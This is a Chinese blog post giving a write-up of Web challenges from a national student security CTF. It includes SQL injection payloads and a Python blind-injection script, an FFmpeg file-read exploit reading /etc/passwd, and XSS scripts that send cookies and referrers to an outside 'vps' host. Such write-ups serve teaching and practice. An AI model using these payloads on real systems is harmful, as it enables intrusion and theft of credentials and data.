p0's blog | 破 关注网络安全
第十届全国大学生信息安全竞赛Web WriteUp
发表于: | 分类: CTF | 评论:0 | 阅读: 3085

队伍:TimeKeeper

作为队伍的Web手之一,和队友奋战24小时,最终算是把Web题目ak了,最后把排名稳定在十三四名,队友都准备睡觉去了。但是,最后十分钟发生了非常神奇的事,大佬们疯狂刷分,硬生生的被挤出前20。第一年参赛,不懂啊,原来大佬解出题目都不提交,都留到最后10分钟?大佬就是大佬。还需继续努力啊

PHP execise

code=print_r(scandir('/var/www/html'));
获取到flag文件名flag_62cfc2dc115277d0c04ed0f74e48e3e9.php

getflag

wanna to see your hat?

.svn源码泄露,下载下来,对post,get请求进行了转义:

$_POST=d_addslashes($_POST);
$_GET=d_addslashes($_GET);

d_addslashes函数将单引号转义,变为\'

function d_addslashes($array){
        foreach($array as $key=>$value){
        if(!is_array($value)){
            !get_magic_quotes_gpc() && $value=addslashes($value);
            waf($value);
            $array[$key]=$value;
        }   
    }   
    return $array;
}

但在login时,将\'变为 \

$name = str_replace("'", "", trim(waf($_POST["name"])));

将SQL语句中原有的'转义,nickname的单引号闭合掉username的单引号。且过滤了空格,使用括号绕过,or(1=1)使返回结果等于1。

select count(*) from t_info where username = '$name' or nickname = '$name'

构造语句,得到flag。

flag vending machine

经过一番测试发现,将用户名设置为'or(1)#,在扣除金币的时候,所有用户均扣除,可得出用户名的位置出现二次注入。

存在Waf,可利用重写绕过。比较坑的是information是过滤了on,利用重写on绕过。利用update的布尔型盲注,编写payload:

# -*- coding: utf-8 -*-
import requests
#url = 'http://192.168.211.148:49167/index.php'
url = 'http://61.174.9.233:8888/'
cookies = {'PHPSESSID':'1hoqq8alt7arp2h1plcgnmflg1'}
def register(payload):
    postdata = {'user':payload,'pass':'xx'}
    r = requests.post(url+'register.php',data=postdata,cookies=cookies).content
    return 'Register success' in r

def login(payload):
    postdata = {'user':payload,'pass':'xx'}
    requests.post(url+'login.php',data=postdata,cookies=cookies).content



password  = ''
s = r'abcdefghijklmnopqrstuvwxyz0123456789_{}'

for i in xrange(1,100):
    for c in s:
        re_payload = 'bassddd\'or(1)and(mid((seselectlect thisi5f14g from fff1ag),%d,1)=\'%s\')#' % (i, c)
        login_payload = 'bassddd\'or(1)and(mid((select thisi5f14g from fff1ag),%d,1)=\'%s\')#' % (i, c)
        print login_payload
        register(re_payload)
        login(login_payload)
        requests.get(url+'buy.php?id=3',cookies=cookies)
        r = requests.get(url+'user.php',cookies=cookies).content
        if '2000000' not in r:
            password = password + c
            break
    print password

得到flag:

诺亚方舟

注册用户发现存在手机号字段有显错注入

username=p0
&phone=123' and 1=(updatexml(1,concat(0x5e24,(select a.name /*!50000from*/ (select * /*!50000from*/ user)a limit 0,1),0x5e24),1)))#
&password=123
&repassword=123

注入得到id=1的账号密码为:


fangzh0u  mIiD2wpTUTnWDzJO6d329w==

查询config表,发现secrectkey为BjDjgKE8CEk5hA9z9FDH7otvGntinomp,注意默认读取31位,用right(xxx,5)获取最后一位。

经过尝试,加密方式为Base64+AES。

解密过程如下:

明文信息为:


fangzh0u    tencent123

利用FFmpeg曝任意文件读取漏洞http://www.freebuf.com/vuls/138377.html

读取已知的php文件未发现flag。

尝试读/etc/passwd,发现有过滤,最后绕过获取到/etc/passwd

python3 gen_xbin_avi.py file:///etc/./passwd crypt.avi

下载得到:

发现特殊账户。家目录下flag文件读取到flag

Guestbook

由csp规则看到可以用内联脚本,首先提交:

<script>
    var i=document.createElement('link');
    i.setAttribute('rel','prefetch');
    i.setAttribute('src','http://vps/'+document.referrer+':'+document.cookie);
    document.head.appendChild(i);
</script>

这里没有返回cookie,但获取到referrer为:
http://106.75.103.149:8888/admin/review.php?b=2e232e23

所以首先应让管理员访问review.php,再获得其cookie:

<script src="http://106.75.103.149:8888/js/jquery.min.js"></script>
<iframe src="http://106.75.103.149:8888/admin/review.php?b=2e232e23" id="fuck">
</iframe>
<script>$("#fuck").load(function(){window.open('http://vps/?'+escape(document.getElementById('fuck').contentWindow.document.cookie))});</script>

Flag为:flag{cr4ck_c5p_m4ybe_3z}


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/107/
来源:https://p0sec.net/

添加新评论

TOP